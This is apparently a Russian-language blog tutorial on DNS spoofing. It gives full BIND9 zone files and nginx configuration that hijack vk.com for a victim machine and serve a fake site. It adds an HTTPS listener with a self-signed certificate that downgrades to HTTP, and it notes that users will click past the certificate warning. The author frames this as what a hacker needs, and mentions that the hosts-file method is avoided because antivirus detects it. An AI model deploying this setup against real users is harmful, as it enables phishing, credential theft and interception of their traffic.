Содержание
Я специально назвал статью так, чтобы она хорошо искалась в яндексе ) Ну ладно, шутки в сторону. Порой возникают ситуации, когда нужно сделать так, чтобы по определенному url открывался совсем другой сайт.
Есть несколько способов добиться этого. Можно добавить сайт в файл /etc/hosts (C:\windows\system32\drivers\etc\hosts), но не всегда это возможно. Во-первых, палево на стороне клиента. Многие инструменты и антивирусные средства палят этот файл. Во вторых, недостаточная гибкость. Если нам потребуется добавить ещё один фейковый сайт – придется снова модифицировать hosts, что может быть уже невозможно.
Мы же будем делать практически универсальное средство – подмена DNS.
Как всё будет работать? Установим в качестве DNS клиенту наш сервер, который будет возвращать угодные нам IP для некоторых адресов, а остальные резолвить как и раньше. Итак, начинаем! Для примера будет перехватывать все обращения к сайту vk.com. IP жертвы: 192.168.1.100, IP сервера 192.168.1.104;
Шаг 1. Устанавливаем BIND9 на наш сервер.
Ну ситуация ничем не осложняется, выбираем сервер (да хоть виртуальную машину в локалке), либо VDS какой-нибудь, что предпочтительнее.
# apt-get install bind9
Шаг 2. Настраиваем BIND9
1. Файл /etc/bind/named.conf.options
options {
directory "/var/cache/bind";
auth-nxdomain no;
listen-on-v6 { none; } ;
forwarders {
192.168.1.1;
8.8.8.8;
};
forward first; #
};
2. Файл /etc/bind/named.conf.local
zone "vk.com" {
type master;
file "/etc/bind/db.com";
};
zone "1.168.192.in-addr.arpa" {
type master;
file "/etc/bind/1.168.192.in-addr.arpa.zone";
};
3. Создадим файлы /etc/bind/db.com
$TTL 30
$ORIGIN vk.com.
@ IN SOA ns1.vk.com. root.vk.com. (
2014110300
1h
1h
1h
1h
);
@ IN NS ns1.vk.com.
@ IN A 192.168.1.104
vk IN A 192.168.1.104
ns1 IN A 192.168.1.1
4. Файл /etc/bind/1.168.192.in-addr.arpa.zone
$TTL 30
$ORIGIN 1.168.192.in-addr.arpa.
@ IN SOA ns1.vk.com. root.vk.com. (
2014110301
1h
1h
1h
2h
);
NS ns1.vk.com.
1 PTR ns1.vk.com.
2 PTR vk.com.
5. Файл /etc/default/bind9
...
RESOLVCONF=yes
...
Перезапускаем bind
# /etc/init.d/bind9 restart
Шаг 3. Ставим заглушку на nginx
# apt-get install nginx
Прописываем себе dns нашего “злого” сервера. Всё, что нужно будет хакеру – прописать каким-нибудь способом свой подставной dns-сервер.
Не буду сейчас приводить способы делания фейков сайтов, это легко. Мы будем показывать стандартную заглушку nginx-а.
Это если по http – не проблема! Видим произвольный сайт и http://vk.com в браузере. А что, если у нас https? Тогда будет не найдена страница. Почему? Да потому что nginx у нас слушает только 80 порт, а не 443. Будем исправлять.
# nano /etc/nginx/conf.d/default.conf
добавляем новый инстанс сервера:
server {
listen 443;
server_name vk.com;
ssl on;
ssl_certificate /etc/nginx/ssl/server.crt;
ssl_certificate_key /etc/nginx/ssl/server.key;
rewrite ^(.*) http://vk.com$1 permanent;
}
Как делать сертификаты для себя – будет описано здесь.
Конечно браузер ругнется, что нет доверия сертификату. Но что делать юзеру? Там будет ссылка для продолжения. И будет редиректить на сайт http.
Вот такие дела.
P.S. Если нужно сбросить кеш DNS на винде (записи берутся сперва из кеша, а потом уже запросы с сервера) выполняем команду:
> ipconfig /flushdns
Comments: